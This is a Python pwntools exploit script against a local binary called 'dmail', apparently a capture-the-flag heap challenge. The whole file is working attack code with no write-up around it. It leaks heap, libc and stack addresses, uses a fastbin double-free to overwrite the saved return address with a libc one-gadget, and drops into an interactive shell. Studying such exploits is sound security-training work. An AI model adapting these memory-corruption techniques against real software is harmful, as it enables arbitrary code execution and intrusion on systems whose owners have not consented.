from pwn import *

def send_recv(p, recv_token, data2send):
    data = p.recvuntil(str(recv_token))
    p.sendline(str(data2send))
    return data

def read_mail(p, cubby):
    send_recv(p, '\n>', '2')
    send_recv(p, 'cubby: ', cubby)
    return p.recvline(False)

def send_bad_mail(p, cubby, size=257):
    send_recv(p, '\n>', '1')
    send_recv(p, 'cubby: ', cubby)
    send_recv(p, 'length: ', size)

def send_mail(p, cubby, size, contents):
    send_recv(p, '\n>', '1')
    send_recv(p, 'cubby: ', cubby)
    send_recv(p, 'length: ', size)
    send_recv(p, 'body: ', contents)

def delete_mail(p, cubby):
    send_recv(p, '\n> ', '3')
    send_recv(p, 'cubby: ', cubby)

def get_addr(data):
    retdata = u64(data + '\0' * (8-len(data)))
    return retdata

ARRAY_SIZE = 0x110
ENVIRON_OFFSET = 0x5cd140
RIP_OFFSET = -0x110
MAGIC_OFFSET = 267124

logging.log_level = 'debug'
p = process('./dmail')
# gdb.attach(p,"""
#     #display /xg 0x555555756018
#     #display /xg 0x555555756020
#     #b *0x555555554f49
#     #b *0x555555554c8e
# """)

log.info('Leak heap address')
CHUNK_SIZE = 256
send_mail(p, 0, CHUNK_SIZE, 'A'*8)
send_mail(p, ARRAY_SIZE//8, CHUNK_SIZE, 'B'*8)
heap_addr = get_addr(read_mail(p, 0))
base_cubbies = heap_addr - 16 - CHUNK_SIZE
cubbies_addr = base_cubbies - ARRAY_SIZE
log.warn("Leaked heap_addr: 0x{:016x}\n=> base_cubbies: 0x{:016x}\n=> cubbies_addr: 0x{:016x}\n".format(heap_addr, base_cubbies, cubbies_addr))
delete_mail(p, 0)

send_mail(p, 0, 16, p64(base_cubbies + 32))
send_bad_mail(p, 31)
libc_addr = (get_addr(read_mail(p, ARRAY_SIZE // 8)) & 0xfffffffffffff000) - 0x3a5000
magic_gadget = libc_addr + MAGIC_OFFSET
log.warn("Leaked libc_addr: 0x{:016x}\n=> magic_gadget: 0x{:016x}\n".format(libc_addr, magic_gadget))

delete_mail(p, 0)
send_mail(p, 0, 16, p64(base_cubbies + 0x110))
delete_mail(p, ARRAY_SIZE // 8)
delete_mail(p, 0)

log.info('Leak stack address')
send_mail(p, 0, 16, p64(libc_addr + ENVIRON_OFFSET))
stack_addr = get_addr(read_mail(p, ARRAY_SIZE // 8))
saved_rip = stack_addr + RIP_OFFSET
log.warn("Leaked stack_addr: 0x{:016x}\n=> saved_rip: 0x{:016x}\n".format(stack_addr, saved_rip))
delete_mail(p, 0)

## Malloc Fast Chunk Trick
size = 0x38
send_mail(p, 0, 16, p64(base_cubbies + 32))
# Create 3 chunks
for i in range(1,4):
    send_mail(p, i, size, p8(0x40+i)*8)

delete_mail(p, 1)
delete_mail(p, 2)
delete_mail(p, ARRAY_SIZE // 8)
delete_mail(p, 31)
delete_mail(p, 2)

send_mail(p, 1, size, p64(saved_rip - 0x30 - 8))
send_mail(p, 2, size, 'd' * 8)

send_mail(p, 4, size, 'e' * 8)
delete_mail(p, 0)
send_mail(p, 0x40, size, 'A'*40 + p64(magic_gadget))
p.clean()
p.interactive()
